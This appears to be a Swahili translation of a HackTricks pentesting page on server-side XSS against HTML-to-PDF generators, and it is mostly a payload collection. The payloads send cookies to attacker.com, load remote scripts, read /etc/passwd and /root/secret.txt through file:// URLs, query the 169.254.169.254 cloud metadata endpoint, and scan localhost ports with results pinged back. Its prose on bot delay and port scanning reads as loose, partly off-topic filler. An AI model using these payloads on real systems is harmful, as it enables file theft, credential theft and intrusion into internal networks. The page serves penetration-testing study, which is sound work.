hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
2024-02-11 02:13:58 +00:00

12 KiB

Server Side XSS (Dynamic PDF)

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Server Side XSS (Dynamic PDF)

Ikiwa ukurasa wa wavuti unatengeneza PDF kwa kutumia kuingiza kutoka kwa mtumiaji, unaweza kujaribu kudanganya bot ambayo inatengeneza PDF kuwa utekelezaji wa nambari ya JS isiyo ya kawaida.
Kwa hivyo, ikiwa bot ya mtengenezaji wa PDF inapata aina fulani ya vitambulisho vya HTML, itavichukulia, na unaweza kutumia tabia hii kusababisha Server XSS.

Tafadhali kumbuka kuwa vitambulisho vya <script></script> havifanyi kazi kila wakati, kwa hivyo utahitaji njia tofauti ya kutekeleza JS (kwa mfano, kwa kudhulumu <img ).
Pia, kumbuka kuwa katika udanganyifu wa kawaida utaweza kuona/kupakua PDF iliyoundwa, kwa hivyo utaweza kuona kila kitu unachoweza kuandika kupitia JS (kwa kutumia document.write() kwa mfano). Lakini, ikiwa hauwezi kuona PDF iliyoundwa, labda utahitaji kuchukua habari kwa kufanya ombi la wavuti kwako (Blind).

Uzalishaji Maarufu wa PDF

  • wkhtmltopdf inajulikana kwa uwezo wake wa kubadilisha HTML na CSS kuwa hati za PDF, kwa kutumia injini ya uundaji wa WebKit. Zana hii inapatikana kama programu ya amri ya chanzo wazi, ikifanya iweze kupatikana kwa anuwai ya matumizi.
  • TCPDF inatoa suluhisho imara ndani ya mazingira ya PHP kwa uundaji wa PDF. Inaweza kushughulikia picha, michoro, na kusimbwa, ikionyesha uwezo wake wa kuunda hati ngumu.
  • Kwa wale wanaofanya kazi katika mazingira ya Node.js, PDFKit inatoa chaguo linalofaa. Inawezesha uundaji wa hati za PDF moja kwa moja kutoka kwa HTML na CSS, ikitoa daraja kati ya yaliyomo kwenye wavuti na muundo unaoweza kuchapishwa.
  • Watengenezaji wa Java wanaweza kupendelea iText, maktaba ambayo sio tu inafanikisha uundaji wa PDF lakini pia inasaidia huduma za juu kama saini za dijiti na kujaza fomu. Seti yake kamili ya huduma inafanya iweze kuzalisha hati salama na za kuingiliana.
  • FPDF ni maktaba nyingine ya PHP, inayotambulika kwa urahisi wake na urahisi wa matumizi. Imetengenezwa kwa watengenezaji wanaotafuta njia rahisi ya kuzalisha PDF, bila hitaji la huduma kubwa.

Payloads

Ugunduzi

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Moja ya malipo ya awali au yafuatayo yanaweza kutumika ndani ya malipo haya ya SVG. Iframe moja inayofikia subdomain ya Burpcollab na nyingine inayofikia mwisho wa metadata zimeorodheshwa kama mifano.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Unaweza kupata mizigo mingine ya SVG nyingi katika https://github.com/allanlw/svg-cheatsheet

Kufichua njia

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Pakia skripti ya nje

Njia bora ya kutumia udhaifu huu ni kuchangamkia udhaifu ili kufanya boti ipakie skripti unayodhibiti kwa kifaa chako. Kisha, utaweza kubadilisha mzigo kwa kifaa chako na kufanya boti ipakie mzigo huo kila wakati na namna ile ile ya nambari.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Soma faili ya ndani / SSRF

{% hint style="warning" %} Badilisha file:///etc/passwd kwa http://169.254.169.254/latest/user-data kwa mfano ili jaribu kufikia ukurasa wa wavuti wa nje (SSRF).

Ikiwa SSRF imeidhinishwa, lakini hauwezi kufikia kikoa au anwani ya IP inayovutia, angalia ukurasa huu kwa njia za kuzunguka zinazowezekana. {% endhint %}

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Kuchelewesha Boti

Boti ni programu zinazofanya kazi kiotomatiki kwenye mtandao. Kwa sababu ya shughuli zao za kiotomatiki, boti zinaweza kugunduliwa na kuzuiwa na hatua za usalama. Kuchelewesha boti kunaweza kuwa njia ya kuepuka kugunduliwa na kuzuiwa.

Kuna njia kadhaa za kuchelewesha boti:

  1. Kuchelewesha wakati: Unaweza kuweka kuchelewa kati ya maombi ya boti ili kufanya ionekane kama binadamu anafanya shughuli hizo. Kwa mfano, unaweza kuweka kuchelewa kati ya maombi ya boti kwa sekunde kadhaa au dakika.

  2. Kuchelewesha vitendo: Badala ya kutuma maombi yote kwa wakati mmoja, unaweza kuchelewesha vitendo vya boti kwa kusambaza maombi kwa muda. Hii inaweza kufanya iwe ngumu kwa wamiliki wa wavuti kugundua shughuli za kiotomatiki.

  3. Kubadilisha tabia: Unaweza kubadilisha tabia ya boti kwa kufanya vitendo vyake viwe tofauti na vitendo vya kawaida vya boti. Kwa mfano, unaweza kubadilisha kichwa cha maombi ya boti, kutumia anwani za IP tofauti, au kubadilisha njia ya kufikia wavuti.

Kumbuka kwamba kuchelewesha boti kunaweza kuwa kinyume cha sheria au kukiuka sera za wavuti fulani. Kabla ya kuchelewesha boti, hakikisha una ruhusa sahihi na kuzingatia sheria na sera zinazohusika.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Uchunguzi wa Bandari

Uchunguzi wa bandari ni mchakato wa kutambua bandari zinazofunguliwa kwenye mfumo wa kompyuta ili kugundua huduma zinazopatikana. Kwa kufanya hivyo, mtu anaweza kujua ni huduma gani zinazotumika na kama kuna bandari zilizofunguliwa ambazo zinaweza kutumiwa kwa madhumuni mabaya.

Kuna njia kadhaa za kufanya uchunguzi wa bandari, ikiwa ni pamoja na kutumia zana za kiotomatiki kama Nmap au kutumia amri za mfumo wa uendeshaji kama netstat au nmap. Uchunguzi wa bandari unaweza kusaidia katika kugundua udhaifu wa usalama na kuchukua hatua za kurekebisha mapungufu hayo.

Ni muhimu kutambua kuwa uchunguzi wa bandari unapaswa kufanywa kwa idhini ya mmiliki wa mfumo wa kompyuta na kwa madhumuni ya kuboresha usalama. Matumizi mabaya ya uchunguzi wa bandari yanaweza kusababisha madhara makubwa, ikiwa ni pamoja na kukiuka sheria za faragha na kusababisha uharibifu wa mali au data.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Mkosefu huu unaweza kubadilishwa kwa urahisi sana kuwa SSRF (kwa sababu unaweza kuwezesha skripti kupakia rasilimali za nje). Jaribu kuitumia (soma baadhi ya metadata?).

Viambatisho: PD4ML

Kuna injini kadhaa za HTML 2 PDF ambazo huruhusu kuweka viambatisho kwenye PDF, kama vile PD4ML. Unaweza kutumia kipengele hiki kuweka faili yoyote ya ndani kwenye PDF.
Kufungua kiambatisho, nimefungua faili na Firefox na bonyeza mara mbili ishara ya kijiti cha karatasi ili hifadhi kiambatisho kama faili mpya.
Kukamata jibu la PDF na burp pia itaonyesha kiambatisho kwa maandishi wazi ndani ya PDF.

{% code overflow="wrap" %}

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

{% endcode %}

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: